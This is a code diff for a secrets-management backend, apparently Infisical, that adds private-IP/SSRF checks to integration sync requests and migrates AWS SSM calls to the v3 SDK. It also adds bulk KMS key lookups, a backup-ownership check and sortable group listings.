@@ -265,6 +267,7 @@ export const getIntegrationOptions = async () => {
     {
       name: "Travis CI",
       slug: "travisci",
+      syncSlug: "travis-ci",
       image: "Travis CI.png",
       isAvailable: true,
       type: "pat",
diff --git a/backend/src/services/integration-auth/integration-sync-secret.ts b/backend/src/services/integration-auth/integration-sync-secret.ts
index b031b6c3c91..d5f1c778cd9 100644
--- a/backend/src/services/integration-auth/integration-sync-secret.ts
+++ b/backend/src/services/integration-auth/integration-sync-secret.ts
@@ -18,11 +18,19 @@ import {
   UntagResourceCommand,
   UpdateSecretCommand
 } from "@aws-sdk/client-secrets-manager";
+import {
+  AccessDeniedException,
+  AddTagsToResourceCommand,
+  DeleteParameterCommand,
+  DescribeParametersCommand,
+  GetParametersByPathCommand,
+  type Parameter,
+  PutParameterCommand,
+  SSMClient
+} from "@aws-sdk/client-ssm";
 import { AssumeRoleCommand, STSClient } from "@aws-sdk/client-sts";
 import { createAppAuth } from "@octokit/auth-app";
 import { Octokit } from "@octokit/rest";
-import type { AWSError } from "aws-sdk";
-import SSM from "aws-sdk/clients/ssm.js";
 import { AxiosError } from "axios";
 import https from "https";
 import sodium from "libsodium-wrappers";
@@ -37,6 +45,7 @@ import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { BadRequestError, InternalServerError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
+import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 import { TCreateManySecretsRawFn, TUpdateManySecretsRawFn } from "@app/services/secret/secret-types";
 
 import { TIntegrationDALFactory } from "../integration/integration-dal";
@@ -315,6 +324,8 @@ const syncSecretsAzureAppConfig = async ({
       message: "Invalid Azure App Configuration URL provided."
     });
 
+  await blockLocalAndPrivateIpAddresses(integration.app);
+
   const getCompleteAzureAppConfigValues = async (baseURL: string, url: string) => {
     let result: AzureAppConfigKeyValue[] = [];
     while (url) {
@@ -331,6 +342,9 @@ const syncSecretsAzureAppConfig = async ({
 
       result = result.concat(res.data.items);
       url = res.data?.["@nextLink"];
+      if (url) {
+        await blockLocalAndPrivateIpAddresses(url);
+      }
     }
 
     return result;
@@ -504,6 +518,12 @@ const syncSecretsAzureKeyVault = async ({
   createManySecretsRawFn: (params: TCreateManySecretsRawFn) => Promise<Array<{ id: string }>>;
   updateManySecretsRawFn: (params: TUpdateManySecretsRawFn) => Promise<Array<{ id: string }>>;
 }) => {
+  if (!integration.app) {
+    throw new BadRequestError({ message: "Azure Key Vault URI is required" });
+  }
+
+  await blockLocalAndPrivateIpAddresses(integration.app);
+
   interface GetAzureKeyVaultSecret {
     id: string; // secret URI
     value: string;
@@ -537,6 +557,9 @@ const syncSecretsAzureKeyVault = async ({
       result = result.concat(res.data.value);
 
       url = res.data.nextLink;
+      if (url) {
+        await blockLocalAndPrivateIpAddresses(url);
+      }
     }
 
     return result;
@@ -828,8 +851,7 @@ const syncSecretsAWSParameterStore = async ({
     secretAccessKey = accessToken;
   }
 
-  const ssm = new SSM({
-    apiVersion: "2014-11-06",
+  const ssm = new SSMClient({
     region: integration.region as string,
     credentials: {
       accessKeyId,
@@ -839,7 +861,7 @@ const syncSecretsAWSParameterStore = async ({
   });
 
   const metadata = IntegrationMetadataSchema.parse(integration.metadata);
-  const awsParameterStoreSecretsObj: Record<string, SSM.Parameter & { KeyId?: string }> = {};
+  const awsParameterStoreSecretsObj: Record<string, Parameter & { KeyId?: string }> = {};
   logger.info(
     `getIntegrationSecrets: integration sync triggered for ssm with [projectId=${projectId}] [environment=${integration.environment.slug}]  [secretPath=${integration.secretPath}] [shouldDisableDelete=${metadata.shouldDisableDelete}]`
   );
@@ -847,15 +869,15 @@ const syncSecretsAWSParameterStore = async ({
   let hasNext = true;
   let nextToken: string | undefined;
   while (hasNext) {
-    const parameters = await ssm
-      .getParametersByPath({
+    const parameters = await ssm.send(
+      new GetParametersByPathCommand({
         Path: integration.path as string,
         Recursive: false,
         WithDecryption: true,
         MaxResults: 10,
         NextToken: nextToken
       })
-      .promise();
+    );
 
     if (parameters.Parameters) {
       parameters.Parameters.forEach((parameter) => {
@@ -879,8 +901,8 @@ const syncSecretsAWSParameterStore = async ({
       let describeNextToken: string | undefined;
 
       while (hasNextDescribePage) {
-        const parameters = await ssm
-          .describeParameters({
+        const parameters = await ssm.send(
+          new DescribeParametersCommand({
             MaxResults: 10,
             NextToken: describeNextToken,
             ParameterFilters: [
@@ -891,7 +913,7 @@ const syncSecretsAWSParameterStore = async ({
               }
             ]
           })
-          .promise();
+        );
 
         if (parameters.Parameters) {
           parameters.Parameters.forEach((parameter) => {
@@ -906,8 +928,7 @@ const syncSecretsAWSParameterStore = async ({
         describeNextToken = parameters.NextToken;
       }
     } catch (error) {
-      // eslint-disable-next-line @typescript-eslint/no-explicit-any
-      if ((error as any).code === "AccessDeniedException") {
+      if (error instanceof AccessDeniedException) {
         logger.error(
           `AWS Parameter Store Error [integration=${integration.id}]: double check AWS account permissions (refer to the Infisical docs)`
         );
@@ -915,7 +936,7 @@ const syncSecretsAWSParameterStore = async ({
 
       response = {
         isSynced: false,
-        syncMessage: (error as AWSError)?.message || "Error syncing with AWS Parameter Store"
+        syncMessage: (error as Error)?.message || "Error syncing with AWS Parameter Store"
       };
     }
   }
@@ -934,15 +955,15 @@ const syncSecretsAWSParameterStore = async ({
           );
 
           try {
-            await ssm
-              .putParameter({
+            await ssm.send(
+              new PutParameterCommand({
                 Name: `${integration.path}${key}`,
                 Type: "SecureString",
                 Value: secrets[key].value,
                 ...(metadata.kmsKeyId && { KeyId: metadata.kmsKeyId }),
                 Overwrite: true
               })
-              .promise();
+            );
           } catch (error) {
             (error as { secretKey: string }).secretKey = key;
             throw error;
@@ -950,8 +971,8 @@ const syncSecretsAWSParameterStore = async ({
 
           if (metadata.secretAWSTag?.length) {
             try {
-              await ssm
-                .addTagsToResource({
+              await ssm.send(
+                new AddTagsToResourceCommand({
                   ResourceType: "Parameter",
                   ResourceId: `${integration.path}${key}`,
                   Tags: metadata.secretAWSTag
@@ -961,14 +982,13 @@ const syncSecretsAWSParameterStore = async ({
                       }))
                     : []
                 })
-                .promise();
+              );
             } catch (err) {
               logger.error(
                 err,
                 `getIntegrationSecrets: create secret in AWS SSM for failed  [projectId=${projectId}] [environment=${integration.environment.slug}]  [secretPath=${integration.secretPath}]`
               );
-              // eslint-disable-next-line @typescript-eslint/no-explicit-any
-              if ((err as any).code === "AccessDeniedException") {
+              if (err instanceof AccessDeniedException) {
                 logger.error(
                   `AWS Parameter Store Error [integration=${integration.id}]: double check AWS account permissions (refer to the Infisical docs)`
                 );
@@ -976,7 +996,7 @@ const syncSecretsAWSParameterStore = async ({
 
               response = {
                 isSynced: false,
-                syncMessage: (err as AWSError)?.message || "Error syncing with AWS Parameter Store"
+                syncMessage: (err as Error)?.message || "Error syncing with AWS Parameter Store"
               };
             }
           }
@@ -995,15 +1015,15 @@ const syncSecretsAWSParameterStore = async ({
         // we ensure that the KMS key configured in the integration is applied for ALL parameters on AWS
         if (secrets[key].value && (shouldUpdateKms || awsParameterStoreSecretsObj[key].Value !== secrets[key].value)) {
           try {
-            await ssm
-              .putParameter({
+            await ssm.send(
+              new PutParameterCommand({
                 Name: `${integration.path}${key}`,
                 Type: "SecureString",
                 Value: secrets[key].value,
                 Overwrite: true,
                 ...(metadata.kmsKeyId && { KeyId: metadata.kmsKeyId })
               })
-              .promise();
+            );
           } catch (error) {
             (error as { secretKey: string }).secretKey = key;
             throw error;
@@ -1012,8 +1032,8 @@ const syncSecretsAWSParameterStore = async ({
 
         if (awsParameterStoreSecretsObj[key].Name) {
           try {
-            await ssm
-              .addTagsToResource({
+            await ssm.send(
+              new AddTagsToResourceCommand({
                 ResourceType: "Parameter",
                 ResourceId: awsParameterStoreSecretsObj[key].Name as string,
                 Tags: metadata.secretAWSTag
@@ -1023,14 +1043,13 @@ const syncSecretsAWSParameterStore = async ({
                     }))
                   : []
               })
-              .promise();
+            );
           } catch (err) {
             logger.error(
               err,
               `getIntegrationSecrets: update secret in AWS SSM for failed  [projectId=${projectId}] [environment=${integration.environment.slug}]  [secretPath=${integration.secretPath}]`
             );
-            // eslint-disable-next-line @typescript-eslint/no-explicit-any
-            if ((err as any).code === "AccessDeniedException") {
+            if (err instanceof AccessDeniedException) {
               logger.error(
                 `AWS Parameter Store Error [integration=${integration.id}]: double check AWS account permissions (refer to the Infisical docs)`
               );
@@ -1038,7 +1057,7 @@ const syncSecretsAWSParameterStore = async ({
 
             response = {
               isSynced: false,
-              syncMessage: (err as AWSError)?.message || "Error syncing with AWS Parameter Store"
+              syncMessage: (err as Error)?.message || "Error syncing with AWS Parameter Store"
             };
           }
         }
@@ -1065,11 +1084,11 @@ const syncSecretsAWSParameterStore = async ({
           );
           // case:
           // -> delete secret
-          await ssm
-            .deleteParameter({
+          await ssm.send(
+            new DeleteParameterCommand({
               Name: awsParameterStoreSecretsObj[key].Name as string
             })
-            .promise();
+          );
           logger.info(
             `getIntegrationSecrets: inside of shouldDisableDelete AWS SSM [projectId=${projectId}] [environment=${integration.environment.slug}]  [secretPath=${integration.secretPath}] [step=4]`
           );
@@ -2561,6 +2580,7 @@ const syncSecretsDatabricks = async ({
 }) => {
   const databricksApiUrl = `${integrationAuth.url}/api`;
 
+  await blockLocalAndPrivateIpAddresses(databricksApiUrl);
   // sync secrets to Databricks
   await Promise.all(
     Object.keys(secrets).map(async (key) =>
@@ -2750,6 +2770,7 @@ const syncSecretsAzureDevops = async ({
     return { groupId: "", groupName: "" };
   };
 
+  await blockLocalAndPrivateIpAddresses(azureDevopsApiUrl);
   const { groupId, groupName } = await getEnvGroupId(integration.app, integration.appId, integration.environment.name);
 
   const variables: Record<string, { value: string; isSecret: boolean }> = {};
@@ -2851,6 +2872,11 @@ const syncSecretsGitLab = async ({
 
   const gitLabApiUrl = integrationAuth.url ? `${integrationAuth.url}/api` : IntegrationUrls.GITLAB_API_URL;
 
+  // Validate the base URL to prevent SSRF on all subsequent requests
+  if (integrationAuth.url) {
+    await blockLocalAndPrivateIpAddresses(gitLabApiUrl);
+  }
+
   const getAllEnvVariables = async (integrationAppId: string, accToken: string) => {
     const headers = {
       Authorization: `Bearer ${accToken}`,
@@ -2862,6 +2888,7 @@ const syncSecretsGitLab = async ({
     let url: string | null = `${gitLabApiUrl}/v4/projects/${integrationAppId}/variables?per_page=100`;
 
     while (url) {
+      await blockLocalAndPrivateIpAddresses(url);
       const response = await request.get(url, { headers });
       allEnvVariables = [...allEnvVariables, ...response.data];
 
@@ -3562,6 +3589,9 @@ const syncSecretsTeamCity = async ({
     property: TeamCityBuildConfigParameter[];
   }
 
+  if (integrationAuth.url) {
+    await blockLocalAndPrivateIpAddresses(integrationAuth.url);
+  }
   if (integration.targetEnvironment && integration.targetEnvironmentId) {
     // case: sync to specific build-config in TeamCity project
     const res = (
@@ -3704,6 +3734,12 @@ const syncSecretsHashiCorpVault = async ({
     throw new Error("Access ID is required");
   }
 
+  if (!integrationAuth.url) {
+    throw new BadRequestError({ message: "HashiCorp Vault URL is required" });
+  }
+
+  await blockLocalAndPrivateIpAddresses(integrationAuth.url);
+
   interface LoginAppRoleRes {
     auth: {
       client_token: string;
@@ -3975,6 +4011,7 @@ const syncSecretsBitbucket = async ({
     }
 
     if (data.next) {
+      await blockLocalAndPrivateIpAddresses(data.next);
       variablesUrl = data.next;
     } else {
       hasNextPage = false;
@@ -4134,6 +4171,9 @@ const syncSecretsWindmill = async ({
     description?: string;
   }
   const apiUrl = integration.url ? `${integration.url}/api` : IntegrationUrls.WINDMILL_API_URL;
+  if (apiUrl) {
+    await blockLocalAndPrivateIpAddresses(apiUrl);
+  }
   // get secrets stored in windmill workspace
   const res = (
     await request.get<WindmillSecret[]>(`${apiUrl}/w/${integration.appId}/variables/list`, {
@@ -4458,7 +4498,11 @@ const syncSecretsRundeck = async ({
   }
 
   let existingRundeckSecrets: string[] = [];
+  if (!integration.url) {
+    return;
+  }
 
+  await blockLocalAndPrivateIpAddresses(integration.url);
   try {
     const listResult = await request.get<RundeckSecretsGetRes>(
       `${integration.url}/api/44/storage/${integration.path}`,
@@ -4532,6 +4576,8 @@ const syncSecretsOctopusDeploy = async ({
       throw new InternalServerError({ message: `Unhandled Octopus Deploy scope: ${integration.scope}` });
   }
 
+  await blockLocalAndPrivateIpAddresses(url);
+
   // SDK doesn't support variable set...
   const { data: variableSet } = await request.get<TOctopusDeployVariableSet>(url, {
     headers: {
diff --git a/backend/src/services/integration/integration-service.ts b/backend/src/services/integration/integration-service.ts
index 885450afe6e..faa1cccf1ff 100644
--- a/backend/src/services/integration/integration-service.ts
+++ b/backend/src/services/integration/integration-service.ts
@@ -10,6 +10,7 @@ import {
 } from "@app/ee/services/permission/project-permission";
 import { NotFoundError } from "@app/lib/errors";
 import { TProjectPermission } from "@app/lib/types";
+import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 
 import { TIntegrationAuthDALFactory } from "../integration-auth/integration-auth-dal";
 import { TIntegrationAuthServiceFactory } from "../integration-auth/integration-auth-service";
@@ -108,6 +109,10 @@ export const integrationServiceFactory = ({
       });
     }
 
+    if (url) {
+      await blockLocalAndPrivateIpAddresses(url);
+    }
+
     const integration = await integrationDAL.create({
       envId: folder.envId,
       secretPath,
diff --git a/backend/src/services/kms/kms-key-dal.ts b/backend/src/services/kms/kms-key-dal.ts
index 36ffa336612..132c62bfbb1 100644
--- a/backend/src/services/kms/kms-key-dal.ts
+++ b/backend/src/services/kms/kms-key-dal.ts
@@ -93,6 +93,62 @@ export const kmskeyDALFactory = (db: TDbClient) => {
     }
   };
 
+  const findByIdsWithAssociatedKms = async (ids: string[], tx?: Knex) => {
+    try {
+      const results = await (tx || db.replicaNode())(TableName.KmsKey)
+        .whereIn(`${TableName.KmsKey}.id`, ids)
+        .join(TableName.Organization, `${TableName.KmsKey}.orgId`, `${TableName.Organization}.id`)
+        .leftJoin(TableName.InternalKms, `${TableName.KmsKey}.id`, `${TableName.InternalKms}.kmsKeyId`)
+        .leftJoin(TableName.ExternalKms, `${TableName.KmsKey}.id`, `${TableName.ExternalKms}.kmsKeyId`)
+        .select(selectAllTableCols(TableName.KmsKey))
+        .select(
+          db.ref("id").withSchema(TableName.InternalKms).as("internalKmsId"),
+          db.ref("encryptedKey").withSchema(TableName.InternalKms).as("internalKmsEncryptedKey"),
+          db.ref("encryptionAlgorithm").withSchema(TableName.InternalKms).as("internalKmsEncryptionAlgorithm"),
+          db.ref("version").withSchema(TableName.InternalKms).as("internalKmsVersion")
+        )
+        .select(
+          db.ref("id").withSchema(TableName.ExternalKms).as("externalKmsId"),
+          db.ref("provider").withSchema(TableName.ExternalKms).as("externalKmsProvider"),
+          db.ref("encryptedProviderInputs").withSchema(TableName.ExternalKms).as("externalKmsEncryptedProviderInput"),
+          db.ref("status").withSchema(TableName.ExternalKms).as("externalKmsStatus"),
+          db.ref("statusDetails").withSchema(TableName.ExternalKms).as("externalKmsStatusDetails")
+        )
+        .select(
+          db.ref("kmsDefaultKeyId").withSchema(TableName.Organization).as("orgKmsDefaultKeyId"),
+          db.ref("kmsEncryptedDataKey").withSchema(TableName.Organization).as("orgKmsEncryptedDataKey")
+        );
+
+      return results.map((result) => ({
+        ...KmsKeysSchema.parse(result),
+        isExternal: Boolean(result?.externalKmsId),
+        orgKms: {
+          id: result?.orgKmsDefaultKeyId,
+          encryptedDataKey: result?.orgKmsEncryptedDataKey
+        },
+        externalKms: result?.externalKmsId
+          ? {
+              id: result.externalKmsId,
+              provider: result.externalKmsProvider,
+              encryptedProviderInput: result.externalKmsEncryptedProviderInput,
+              status: result.externalKmsStatus,
+              statusDetails: result.externalKmsStatusDetails
+            }
+          : undefined,
+        internalKms: result?.internalKmsId
+          ? {
+              id: result.internalKmsId,
+              encryptedKey: result.internalKmsEncryptedKey,
+              encryptionAlgorithm: result.internalKmsEncryptionAlgorithm,
+              version: result.internalKmsVersion
+            }
+          : undefined
+      }));
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find by ids with associated kms" });
+    }
+  };
+
   const findProjectCmeks = async (projectId: string, tx?: Knex) => {
     try {
       const result = await (tx || db.replicaNode())(TableName.KmsKey)
@@ -136,7 +192,10 @@ export const kmskeyDALFactory = (db: TDbClient) => {
         .where("projectId", projectId)
         .where((qb) => {
           if (search) {
-            void qb.whereILike("name", `%${search}%`);
+            const pattern = `%${search}%`;
+            void qb
+              .whereILike(`${TableName.KmsKey}.name`, pattern)
+              .orWhereRaw(`?? ::text ILIKE ?`, [`${TableName.KmsKey}.id`, pattern]);
           }
         })
         .where(`${TableName.KmsKey}.isReserved`, false)
@@ -180,6 +239,14 @@ export const kmskeyDALFactory = (db: TDbClient) => {
     }
   };
 
+  const findCmeksByIds = async (ids: string[], tx?: Knex) => {
+    try {
+      return await baseCmekQuery({ db, tx }).whereIn(`${TableName.KmsKey}.id`, ids);
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find cmeks by IDs" });
+    }
+  };
+
   const findCmekByName = async (keyName: string, projectId: string, tx?: Knex) => {
     try {
       const key = await baseCmekQuery({
@@ -194,5 +261,14 @@ export const kmskeyDALFactory = (db: TDbClient) => {
     }
   };
 
-  return { ...kmsOrm, findByIdWithAssociatedKms, listCmeksByProjectId, findCmekById, findCmekByName, findProjectCmeks };
+  return {
+    ...kmsOrm,
+    findByIdWithAssociatedKms,
+    findByIdsWithAssociatedKms,
+    listCmeksByProjectId,
+    findCmekById,
+    findCmeksByIds,
+    findCmekByName,
+    findProjectCmeks
+  };
 };
diff --git a/backend/src/services/kms/kms-service.ts b/backend/src/services/kms/kms-service.ts
index ba025d9a206..28ddbdad7bd 100644
--- a/backend/src/services/kms/kms-service.ts
+++ b/backend/src/services/kms/kms-service.ts
@@ -21,6 +21,8 @@ import { AsymmetricKeyAlgorithm, signingService } from "@app/lib/crypto/sign";
 import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
 import { alphaNumericNanoId } from "@app/lib/nanoid";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import {
   getByteLengthForSymmetricEncryptionAlgorithm,
   KMS_ROOT_CONFIG_UUID,
@@ -43,6 +45,7 @@ import {
   TEncryptWithKmsDataKeyDTO,
   TEncryptWithKmsDTO,
   TGenerateKMSDTO,
+  TGetBulkKeyMaterialDTO,
   TGetKeyMaterialDTO,
   TGetPublicKeyDTO,
   TImportKeyMaterialDTO,
@@ -379,6 +382,24 @@ export const kmsServiceFactory = ({
     return kmsKey;
   };
 
+  const getBulkKeyMaterial = async ({ kmsIds }: TGetBulkKeyMaterialDTO) => {
+    const kmsDocs = await kmsDAL.findByIdsWithAssociatedKms(kmsIds);
+
+    return kmsDocs.map((kmsDoc) => {
+      if (kmsDoc.isReserved) {
+        throw new BadRequestError({ message: `Cannot get key material for reserved key [kmsId=${kmsDoc.id}]` });
+      }
+      if (kmsDoc.externalKms) {
+        throw new BadRequestError({ message: `Cannot get key material for external key [kmsId=${kmsDoc.id}]` });
+      }
+
+      const keyCipher = symmetricCipherService(SymmetricKeyAlgorithm.AES_GCM_256);
+      const keyMaterial = keyCipher.decrypt(kmsDoc.internalKms?.encryptedKey as Buffer, ROOT_ENCRYPTION_KEY);
+
+      return { kmsId: kmsDoc.id, name: kmsDoc.name, keyMaterial };
+    });
+  };
+
   const importKeyMaterial = async (
     { key, algorithm, name, isReserved, projectId, orgId, keyUsage, kmipMetadata }: TImportKeyMaterialDTO,
     tx?: Knex
@@ -899,7 +920,9 @@ export const kmsServiceFactory = ({
   };
 
   const getProjectKeyBackup = async (projectId: string) => {
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     if (!project) {
       throw new NotFoundError({
         message: `Project with ID '${projectId}' not found`
@@ -953,6 +976,12 @@ export const kmsServiceFactory = ({
       });
     }
 
+    const kmsDoc = await kmsDAL.findByIdWithAssociatedKms(backupKmsKeyId);
+    if (kmsDoc.orgId !== project.orgId)
+      throw new ForbiddenRequestError({
+        message: "Backup does not belong to project"
+      });
+
     const kmsDecryptor = await decryptWithKmsKey({ kmsId: backupKmsKeyId });
     const dataKey = await kmsDecryptor({
       cipherTextBlob: Buffer.from(backupBase64EncryptedDataKey, "base64")
@@ -1085,6 +1114,7 @@ export const kmsServiceFactory = ({
     getKmsById,
     createCipherPairWithDataKey,
     getKeyMaterial,
+    getBulkKeyMaterial,
     importKeyMaterial,
     signWithKmsKey,
     verifyWithKmsKey,
diff --git a/backend/src/services/kms/kms-types.ts b/backend/src/services/kms/kms-types.ts
index 11badd7a510..f2c05b6ad89 100644
--- a/backend/src/services/kms/kms-types.ts
+++ b/backend/src/services/kms/kms-types.ts
@@ -91,6 +91,10 @@ export type TGetKeyMaterialDTO = {
   kmsId: string;
 };
 
+export type TGetBulkKeyMaterialDTO = {
+  kmsIds: string[];
+};
+
 export type TImportKeyMaterialDTO = {
   key: Buffer;
   algorithm: SymmetricKeyAlgorithm;
diff --git a/backend/src/services/membership-group/membership-group-dal.ts b/backend/src/services/membership-group/membership-group-dal.ts
index 121596c74a0..8c266c0a270 100644
--- a/backend/src/services/membership-group/membership-group-dal.ts
+++ b/backend/src/services/membership-group/membership-group-dal.ts
@@ -6,6 +6,9 @@ import { BadRequestError, DatabaseError } from "@app/lib/errors";
 import { ormify, selectAllTableCols, sqlNestRelationships } from "@app/lib/knex";
 import { buildKnexFilterForSearchResource } from "@app/lib/search-resource/db";
 import { TSearchResourceOperator } from "@app/lib/search-resource/search";
+import { OrderByDirection } from "@app/lib/types";
+
+import { OrgGroupsOrderBy } from "./membership-group-types";
 
 export type TMembershipGroupDALFactory = ReturnType<typeof membershipGroupDALFactory>;
 
@@ -18,6 +21,8 @@ type TFindGroupArg = {
     groupId: string;
     name: Omit<TSearchResourceOperator, "number">;
     role: Omit<TSearchResourceOperator, "number">;
+    orderBy: OrgGroupsOrderBy;
+    orderDirection: OrderByDirection;
   }>;
 };
 
@@ -132,12 +137,12 @@ export const membershipGroupDALFactory = (db: TDbClient) => {
 
   const findGroups = async ({ scopeData, tx, filter }: TFindGroupArg) => {
     try {
-      const paginatedGroups = (tx || db.replicaNode())(TableName.Membership)
+      // Base filtered query (no pagination) — shared for count and ID subquery
+      const baseFilterQuery = (tx || db.replicaNode())(TableName.Membership)
         .whereNotNull(`${TableName.Membership}.actorGroupId`)
         .join(TableName.Groups, `${TableName.Groups}.id`, `${TableName.Membership}.actorGroupId`)
         .join(TableName.MembershipRole, `${TableName.Membership}.id`, `${TableName.MembershipRole}.membershipId`)
         .leftJoin(TableName.Role, `${TableName.MembershipRole}.customRoleId`, `${TableName.Role}.id`)
-        .distinct(`${TableName.Membership}.id`)
         .where(`${TableName.Membership}.scopeOrgId`, scopeData.orgId)
         .where((qb) => {
           if (filter.groupId) {
@@ -153,15 +158,12 @@ export const membershipGroupDALFactory = (db: TDbClient) => {
           }
         });
 
-      if (filter.limit) void paginatedGroups.limit(filter.limit);
-      if (filter.offset) void paginatedGroups.offset(filter.offset);
-
       if (filter.name || filter.role) {
         buildKnexFilterForSearchResource(
-          paginatedGroups,
+          baseFilterQuery,
           {
-            name: filter.name!,
-            role: filter.role!
+            ...(filter.name && { name: filter.name }),
+            ...(filter.role && { role: filter.role })
           },
           (attr) => {
             switch (attr) {
@@ -176,14 +178,53 @@ export const membershipGroupDALFactory = (db: TDbClient) => {
         );
       }
 
+      // Count total matching groups (without pagination)
+      const [countResult] = (await baseFilterQuery.clone().countDistinct(`${TableName.Membership}.id as count`)) as [
+        { count: string | number }?
+      ];
+      const totalCount = Number(countResult?.count ?? 0);
+
+      const dir = filter.orderDirection === OrderByDirection.DESC ? "DESC" : "ASC";
+
+      const paginatedGroupByColumns = [`${TableName.Membership}.id`, `${TableName.Groups}.name`];
+      let paginatedOrderByRaw: string;
+      let outerOrderByRaw: string;
+
+      switch (filter.orderBy) {
+        case OrgGroupsOrderBy.Slug:
+          paginatedGroupByColumns.push(`${TableName.Groups}.slug`);
+          paginatedOrderByRaw = `LOWER("${TableName.Groups}"."slug") ${dir}`;
+          outerOrderByRaw = `LOWER("${TableName.Groups}"."slug") ${dir}`;
+          break;
+        case OrgGroupsOrderBy.Role:
+          paginatedOrderByRaw = `MIN(LOWER(COALESCE("${TableName.Role}"."slug", "${TableName.MembershipRole}"."role"))) ${dir}`;
+          outerOrderByRaw = `LOWER(COALESCE("${TableName.Role}"."slug", "${TableName.MembershipRole}"."role")) ${dir}`;
+          break;
+        default:
+          paginatedOrderByRaw = `LOWER("${TableName.Groups}"."name") ${dir}`;
+          outerOrderByRaw = `LOWER("${TableName.Groups}"."name") ${dir}`;
+      }
+
+      // Paginated IDs subquery
+      const paginatedGroups = baseFilterQuery
+        .clone()
+        .clearSelect()
+        .select(`${TableName.Membership}.id`)
+        .groupBy(...paginatedGroupByColumns)
+        .orderByRaw(paginatedOrderByRaw)
+        .orderBy(`${TableName.Membership}.id`, "asc");
+      if (filter.limit) void paginatedGroups.limit(filter.limit);
+      if (filter.offset) void paginatedGroups.offset(filter.offset);
+
       const docs = await (tx || db.replicaNode())(TableName.Membership)
         .whereNotNull(`${TableName.Membership}.actorGroupId`)
         .join(TableName.Groups, `${TableName.Groups}.id`, `${TableName.Membership}.actorGroupId`)
         .join(TableName.MembershipRole, `${TableName.Membership}.id`, `${TableName.MembershipRole}.membershipId`)
         .leftJoin(TableName.Role, `${TableName.MembershipRole}.customRoleId`, `${TableName.Role}.id`)
-        .distinct(`${TableName.Membership}.id`)
         .where(`${TableName.Membership}.scopeOrgId`, scopeData.orgId)
         .whereIn(`${TableName.Membership}.id`, paginatedGroups)
+        .orderByRaw(outerOrderByRaw)
+        .orderBy(`${TableName.Membership}.id`, "asc")
         .select(selectAllTableCols(TableName.Membership))
         .select(
           db.ref("name").withSchema(TableName.Groups).as("groupName"),
@@ -208,11 +249,6 @@ export const membershipGroupDALFactory = (db: TDbClient) => {
             .as("membershipRoleTemporaryAccessEndTime"),
           db.ref("createdAt").withSchema(TableName.MembershipRole).as("membershipRoleCreatedAt"),
           db.ref("updatedAt").withSchema(TableName.MembershipRole).as("membershipRoleUpdatedAt")
-        )
-        .select(
-          db.raw(
-            `count(${TableName.Membership}."actorGroupId") OVER(PARTITION BY ${TableName.Membership}."scopeOrgId") as total`
-          )
         );
 
       const data = sqlNestRelationships({
@@ -262,7 +298,7 @@ export const membershipGroupDALFactory = (db: TDbClient) => {
           }
         ]
       });
-      return { data, totalCount: Number((data?.[0] as unknown as { total: number })?.total ?? 0) };
+      return { data, totalCount };
     } catch (error) {
       throw new DatabaseError({ error, name: "MembershipfindGroup" });
     }
diff --git a/backend/src/services/membership-group/membership-group-service.ts b/backend/src/services/membership-group/membership-group-service.ts
index 67cf525632c..372ec3f3441 100644
--- a/backend/src/services/membership-group/membership-group-service.ts
+++ b/backend/src/services/membership-group/membership-group-service.ts
@@ -384,9 +384,11 @@ export const membershipGroupServiceFactory = ({
       filter: {
         limit: dto.data.limit,
         offset: dto.data.offset,
-        name: dto.data.groupName
+        orderBy: dto.data.orderBy,
+        orderDirection: dto.data.orderDirection,
+        name: dto.data.search
           ? {
-              [SearchResourceOperators.$contains]: dto.data.groupName
+              [SearchResourceOperators.$contains]: dto.data.search
             }
           : undefined,
         role: dto.data.roles?.length
diff --git a/backend/src/services/membership-group/membership-group-types.ts b/backend/src/services/membership-group/membership-group-types.ts
index 05093ab4022..89b0a58396b 100644
--- a/backend/src/services/membership-group/membership-group-types.ts
+++ b/backend/src/services/membership-group/membership-group-types.ts
@@ -1,5 +1,11 @@
 import { AccessScopeData, TemporaryPermissionMode } from "@app/db/schemas";
-import { OrgServiceActor } from "@app/lib/types";
+import { OrderByDirection, OrgServiceActor } from "@app/lib/types";
+
+export enum OrgGroupsOrderBy {
+  Name = "name",
+  Slug = "slug",
+  Role = "role"
+}
 
 export interface TMembershipGroupScopeFactory {
   onCreateMembershipGroupGuard: (arg: TCreateMembershipGroupDTO) => Promise<void>;
@@ -56,8 +62,10 @@ export type TListMembershipGroupDTO = {
   data: {
     limit?: number;
     offset?: number;
-    groupName?: string;
+    search?: string;
     roles?: string[];
+    orderBy?: OrgGroupsOrderBy;
+    orderDirection?: OrderByDirection;
   };
 };
 
diff --git a/backend/src/services/membership-group/org/org-membership-group-factory.ts b/backend/src/services/membership-group/org/org-membership-group-factory.ts
index ff37c6cf3a2..8eb7171944b 100644
--- a/backend/src/services/membership-group/org/org-membership-group-factory.ts
+++ b/backend/src/services/membership-group/org/org-membership-group-factory.ts
@@ -13,6 +13,8 @@ import {
 } from "@app/ee/services/permission/permission-fns";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { BadRequestError, InternalServerError, PermissionBoundaryError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TOrgDALFactory } from "@app/services/org/org-dal";
 import { isCustomOrgRole } from "@app/services/org/org-role-fns";
 
@@ -86,7 +88,10 @@ export const newOrgMembershipGroupFactory = ({
       dto.data.roles.map((el) => el.role),
       dto.permission.orgId
     );
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+      requestMemoKeys.orgFindById(dto.permission.orgId),
+      () => orgDAL.findById(dto.permission.orgId)
+    );
     for (const permissionRole of permissionRoles) {
       if (permissionRole?.role?.name !== OrgMembershipRole.NoAccess) {
         const permissionBoundary = validatePrivilegeChangeOperation(
